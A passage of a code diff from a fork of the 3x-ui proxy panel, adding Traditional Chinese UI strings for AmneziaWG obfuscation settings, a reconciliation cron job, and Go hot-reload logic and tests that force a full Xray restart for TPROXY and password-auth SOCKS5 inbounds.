"ipv6SubnetHint": "例如 fd86:ea04:1115::/64。啟用 IPv6 時必填。",
"ipv6ExternalInterface": "IPv6 外部網路介面",
"ipv6ExternalInterfaceHint": "用於 NDP 代理項目的主機網路介面。留空則使用外部網路介面。",
"obfuscation": "混淆參數",
"regenerateObfuscation": "重新產生",
"jc": "Jc(垃圾封包數量)",
"jmin": "Jmin(垃圾封包最小大小)",
"jmax": "Jmax(垃圾封包最大大小)",
"s1": "S1init 封包填充大小)",
"s2": "S2response 封包填充大小)",
"s3": "S3cookie reply 填充)",
"s4": "S4(傳輸封包填充)",
"h1": "H1(魔術標頭)",
"h2": "H2(魔術標頭)",
"h3": "H3(魔術標頭)",
"h4": "H4(魔術標頭)",
"hHint": "單一整數或範圍。留空則使用經典預設值 1/2/3/4。",
"i1": "I1(簽章封包)",
"i1Hint": "可選的簽章封包。留空則不傳送。",
"i2": "I2(簽章封包)",
"i3": "I3(簽章封包)",
"i4": "I4(簽章封包)",
"i5": "I5(簽章封包)",
"headerProtectionKey": "HeaderProtectionKey(標頭保護)",
"headerProtectionKeyHint": "Base64 編碼的 32 位元組金鑰;必須與每個用戶端設定一致。留空則停用標頭保護。",
"contentPaddingAddition": "ContentPaddingAddition(內容填充)",
"contentPaddingAdditionHint": "單一整數或 low-high 位元組範圍,附加到內容封包。留空則停用。",
"rekeyAfterTime": "RekeyAfterTime(秒)",
"rekeyTimeout": "RekeyTimeout(秒)",
"rejectAfterTime": "RejectAfterTime(秒)",
"keepaliveTimeout": "KeepaliveTimeout(秒)",
"maxHandshakeAttempts": "MaxHandshakeAttempts",
"timingRangeHint": "單一整數或範圍。留空則使用 WireGuard 預設值。",
"maxHandshakeAttemptsHint": "放棄前的交握重試次數。留空則使用預設值。",
"randomTrailers": "RandomTrailers",
"randomTrailersHint": "在每個封包結尾附加隨機位元組。兩端都需要 AmneziaWG 3.1+。",
"disableCookies": "DisableCookies",
"disableCookiesHint": "永不傳送 cookie reply——消除一個 DPI 指紋,但會削弱抗洪泛能力。"
},
"tun": {
"userLevel": "用戶級別"
},
+8
View File
@@ -16,6 +16,7 @@ import (
"strings"
"time"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
"github.com/mhsanaei/3x-ui/v3/internal/config"
"github.com/mhsanaei/3x-ui/v3/internal/eventbus"
"github.com/mhsanaei/3x-ui/v3/internal/logger"
@@ -291,6 +292,7 @@ const (
cadenceXrayRestart = "@every 30s"
cadenceXrayTraffic = "@every 5s"
cadenceMtproto = "@every 10s"
cadenceAmneziaWG = "@every 10s"
cadenceClientIPScan = "@every 10s"
cadenceNodeHeartbeat = "@every 5s"
cadenceNodeTraffic = "@every 5s"
@@ -332,6 +334,11 @@ func (s *Server) startTask(restartXray bool, loc *time.Location) {
_, _ = s.cron.AddJob(cadenceMtproto, mtJob)
go mtJob.Run()
// Reconcile embedded AmneziaWG interfaces; traffic rides Xray's own stats
awgJob := job.NewAmneziaWGJob()
_, _ = s.cron.AddJob(cadenceAmneziaWG, awgJob)
go awgJob.Run()
// check client ips from log file every 10 sec
_, _ = s.cron.AddJob(cadenceClientIPScan, job.NewCheckClientIpJob())
@@ -691,6 +698,7 @@ func (s *Server) stop(stopXray bool, stopTgBot bool) error {
if stopXray {
_ = s.xrayService.StopXray()
mtproto.GetManager().StopAll()
amneziawgnet.GetManager().StopAll()
}
if s.cron != nil {
s.cron.Stop()
+68
View File
@@ -132,6 +132,14 @@ func diffInbounds(oldCfg, newCfg *Config, diff *HotDiff) bool {
logger.Debug("hot diff: inbound [", oldIb.Tag, "] REALITY configuration changed; a gRPC remove+add does not reliably rebuild the REALITY authenticator, forcing a full restart")
return false
}
if exists && (inboundUsesTproxy(oldIb) || inboundUsesTproxy(newIb)) {
logger.Debug("hot diff: inbound [", oldIb.Tag, "] is a TPROXY target; a gRPC add reports success but does not reliably bind a working listener, forcing a full restart instead of a hot swap")
return false
}
if exists && (inboundUsesSocksAccounts(oldIb) || inboundUsesSocksAccounts(newIb)) {
logger.Debug("hot diff: inbound [", oldIb.Tag, "] is a password-auth SOCKS5 inbound (e.g. internal/amneziawgnet's per-peer relay); a gRPC remove+add reports success but was observed in production to silently drop an account, forcing a full restart instead of a hot swap")
return false
}
diff.RemovedInboundTags = append(diff.RemovedInboundTags, oldIb.Tag)
if exists {
raw, err := json.Marshal(newIb)
@@ -149,6 +157,14 @@ func diffInbounds(oldCfg, newCfg *Config, diff *HotDiff) bool {
if newIb.Tag == apiTag || newIb.Tag == "api" {
return false
}
if inboundUsesTproxy(newIb) {
logger.Debug("hot diff: new inbound [", newIb.Tag, "] is a TPROXY target (e.g. internal/amneziawg's Xray egress bridge); a gRPC add reports success but does not reliably bind a working listener, forcing a full restart instead of a hot add")
return false
}
if inboundUsesSocksAccounts(newIb) {
logger.Debug("hot diff: new inbound [", newIb.Tag, "] is a password-auth SOCKS5 inbound (e.g. internal/amneziawgnet's per-peer relay); forcing a full restart instead of a hot add, same reasoning as the existing-inbound case above")
return false
}
raw, err := json.Marshal(newIb)
if err != nil {
return false
@@ -264,6 +280,58 @@ func inboundUsesReality(ib *InboundConfig) bool {
return stream.Security == "reality"
}
// inboundUsesTproxy: a sockopt.tproxy inbound (the tunnel protocol's TProxy
// mode) hot-adds over gRPC "successfully" but binds no listener — restart.
func inboundUsesTproxy(ib *InboundConfig) bool {
if ib == nil || len(ib.StreamSettings) == 0 {
return false
}
var stream struct {
Sockopt struct {
Tproxy string `json:"tproxy"`
} `json:"sockopt"`
}
if err := json.Unmarshal(ib.StreamSettings, &stream); err != nil {
return false
}
return stream.Sockopt.Tproxy != "" && stream.Sockopt.Tproxy != "off"
}
// inboundUsesSocksAccounts reports whether an inbound is a password-auth
// SOCKS5 inbound with one or more named accounts -- the shape
// internal/amneziawgnet's per-inbound relay (internal/web/service/xray.go's
// injectAmneziawgnetSocks) is the only generator of in this fork; every
// other SOCKS5 bridge this fork builds (panel egress, per-node egress,
// mtproto egress) uses "noauth" with no per-account identity at all, so this
// check can't accidentally rope in one of those lower-churn bridges.
//
// Real production incident, not a theoretical concern: a single client
// edit under an AmneziaWG inbound left this inbound's settings unchanged in
// every way relevant to accounts.user was already correct in the freshly
// regenerated config, yet the account for a peer whose email contained
// non-ASCII characters silently vanished from the running Xray process
// after a gRPC remove+add hot swap -- while a full process restart (reading
// the same JSON straight from disk) always produced the correct account
// list. socks isn't in userDiffableProtocols (that only covers vless/vmess/
// trojan, which use a wholly different clients+email shape, not
// accounts+user), so without this check any settings drift on this inbound
// -- even one unrelated to the account list itself -- falls through to the
// generic remove+add path and can reproduce the same silent drop. Forcing a
// full restart here is the same defensive choice already made above for
// REALITY and TPROXY.
func inboundUsesSocksAccounts(ib *InboundConfig) bool {
if ib == nil || ib.Protocol != "socks" || len(ib.Settings) == 0 {
return false
}
var settings struct {
Auth string `json:"auth"`
}
if err := json.Unmarshal(ib.Settings, &settings); err != nil {
return false
}
return settings.Auth == "password"
}
func inboundHasReverseClient(ib *InboundConfig) bool {
if ib == nil {
return false
+126
View File
@@ -385,3 +385,129 @@ func TestComputeHotDiff_RealityClientOnlyChangeStaysHot(t *testing.T) {
t.Fatalf("expected user b added via AlterInbound, got %+v", diff.AddedUsers)
}
}
// TestComputeHotDiff_NewTproxyInboundNeedsRestart reproduces a real incident:
// enabling RouteThroughXray on an AmneziaWG inbound while Xray is already
// running adds a brand-new dokodemo-door bridge with sockopt.tproxy set.
// Xray-core's gRPC AddInbound reports success for this but never actually
// binds a working listener, so TPROXY-redirected peer traffic silently goes
// nowhere until the next full restart -- confirmed directly on a real box
// (iptables TPROXY counters incrementing, but `ss` showing nothing listening
// on the bridge port; the listener only appeared after `systemctl restart
// x-ui`). This must force a restart instead of a hot add.
func TestComputeHotDiff_NewTproxyInboundNeedsRestart(t *testing.T) {
oldCfg := makeHotConfig()
newCfg := makeHotConfig()
newCfg.InboundConfigs = append(newCfg.InboundConfigs, InboundConfig{
Listen: json_util.RawMessage(`"127.0.0.1"`),
Port: 63110,
Protocol: "dokodemo-door",
Tag: "in-443-udp",
Settings: json_util.RawMessage(`{"allowedNetwork":"tcp,udp","followRedirect":true}`),
StreamSettings: json_util.RawMessage(`{"sockopt":{"tproxy":"tproxy"}}`),
})
if _, ok := ComputeHotDiff(oldCfg, newCfg); ok {
t.Fatal("adding a new TPROXY-sockopt inbound must force a full restart, not a gRPC hot add")
}
}
// TestComputeHotDiff_TproxyStreamChangeNeedsRestart mirrors the REALITY
// stream-change test above: an existing TPROXY bridge whose port changed
// (e.g. the AmneziaWG inbound's own id-derived egress port shifted) must not
// be hot-swapped either, for the same reliability reason.
func TestComputeHotDiff_TproxyStreamChangeNeedsRestart(t *testing.T) {
tproxyIb := InboundConfig{
Listen: json_util.RawMessage(`"127.0.0.1"`),
Port: 63110,
Protocol: "dokodemo-door",
Tag: "in-443-udp",
Settings: json_util.RawMessage(`{"allowedNetwork":"tcp,udp","followRedirect":true}`),
StreamSettings: json_util.RawMessage(`{"sockopt":{"tproxy":"tproxy"}}`),
}
oldCfg := makeHotConfig()
oldCfg.InboundConfigs = append(oldCfg.InboundConfigs, tproxyIb)
newCfg := makeHotConfig()
changedIb := tproxyIb
changedIb.Port = 63111
newCfg.InboundConfigs = append(newCfg.InboundConfigs, changedIb)
if _, ok := ComputeHotDiff(oldCfg, newCfg); ok {
t.Fatal("a TPROXY bridge's port change must force a full restart, not a gRPC hot swap")
}
}
// TestComputeHotDiff_SocksAccountsSettingsChangeNeedsRestart reproduces a
// real incident: editing one client under an AmneziaWG inbound left its
// relay's settings.json byte-different (a new account list) while Xray was
// already running. A gRPC remove+add reported success but silently dropped
// an account with a non-ASCII email; a full restart always produced the
// correct account list. This must force a restart, not a hot swap.
func TestComputeHotDiff_SocksAccountsSettingsChangeNeedsRestart(t *testing.T) {
relayIb := InboundConfig{
Listen: json_util.RawMessage(`"127.0.0.1"`),
Port: 65110,
Protocol: "socks",
Tag: "in-443-udp",
Settings: json_util.RawMessage(`{"auth":"password","udp":true,"accounts":[{"user":"Роутер_awg","pass":"p"}]}`),
}
oldCfg := makeHotConfig()
oldCfg.InboundConfigs = append(oldCfg.InboundConfigs, relayIb)
newCfg := makeHotConfig()
changedIb := relayIb
changedIb.Settings = json_util.RawMessage(`{"auth":"password","udp":true,"accounts":[{"user":"Роутер_awg","pass":"p"},{"user":"Майфун🛟","pass":"p"}]}`)
newCfg.InboundConfigs = append(newCfg.InboundConfigs, changedIb)
if _, ok := ComputeHotDiff(oldCfg, newCfg); ok {
t.Fatal("a password-auth SOCKS5 relay's account-list change must force a full restart, not a gRPC hot swap")
}
}
// TestComputeHotDiff_NewSocksAccountsInboundNeedsRestart mirrors the TPROXY
// new-inbound test above: a brand-new AmneziaWG relay inbound must also
// force a restart, for the same reliability reason.
func TestComputeHotDiff_NewSocksAccountsInboundNeedsRestart(t *testing.T) {
oldCfg := makeHotConfig()
newCfg := makeHotConfig()
newCfg.InboundConfigs = append(newCfg.InboundConfigs, InboundConfig{
Listen: json_util.RawMessage(`"127.0.0.1"`),
Port: 65110,
Protocol: "socks",
Tag: "in-443-udp",
Settings: json_util.RawMessage(`{"auth":"password","udp":true,"accounts":[{"user":"Майфун🛟","pass":"p"}]}`),
})
if _, ok := ComputeHotDiff(oldCfg, newCfg); ok {
t.Fatal("adding a new password-auth SOCKS5 relay inbound must force a full restart, not a gRPC hot add")
}
}
// TestComputeHotDiff_NoauthSocksBridgeStaysHot confirms the check above is
// scoped to password-auth accounts specifically: this fork's other SOCKS5
// bridges (panel egress, per-node egress, mtproto egress) use "noauth" with
// no per-account identity, have no history of this failure mode, and must
// keep using the ordinary remove+add hot path rather than pay for an
// unnecessary restart on every port/tag change.
func TestComputeHotDiff_NoauthSocksBridgeStaysHot(t *testing.T) {
bridgeIb := InboundConfig{
Listen: json_util.RawMessage(`"127.0.0.1"`),
Port: 62790,
Protocol: "socks",
Tag: "panel-egress",
Settings: json_util.RawMessage(`{"auth":"noauth","udp":false}`),
}
oldCfg := makeHotConfig()
oldCfg.InboundConfigs = append(oldCfg.InboundConfigs, bridgeIb)
newCfg := makeHotConfig()
changedIb := bridgeIb
changedIb.Port = 62791
newCfg.InboundConfigs = append(newCfg.InboundConfigs, changedIb)
diff, ok := ComputeHotDiff(oldCfg, newCfg)
if !ok {
t.Fatal("a noauth SOCKS5 bridge's port change should stay hot-appliable")
}
if len(diff.RemovedInboundTags) != 1 || len(diff.AddedInbounds) != 1 {
t.Fatalf("expected a plain remove+add for the changed bridge, got %+v", diff)
}
}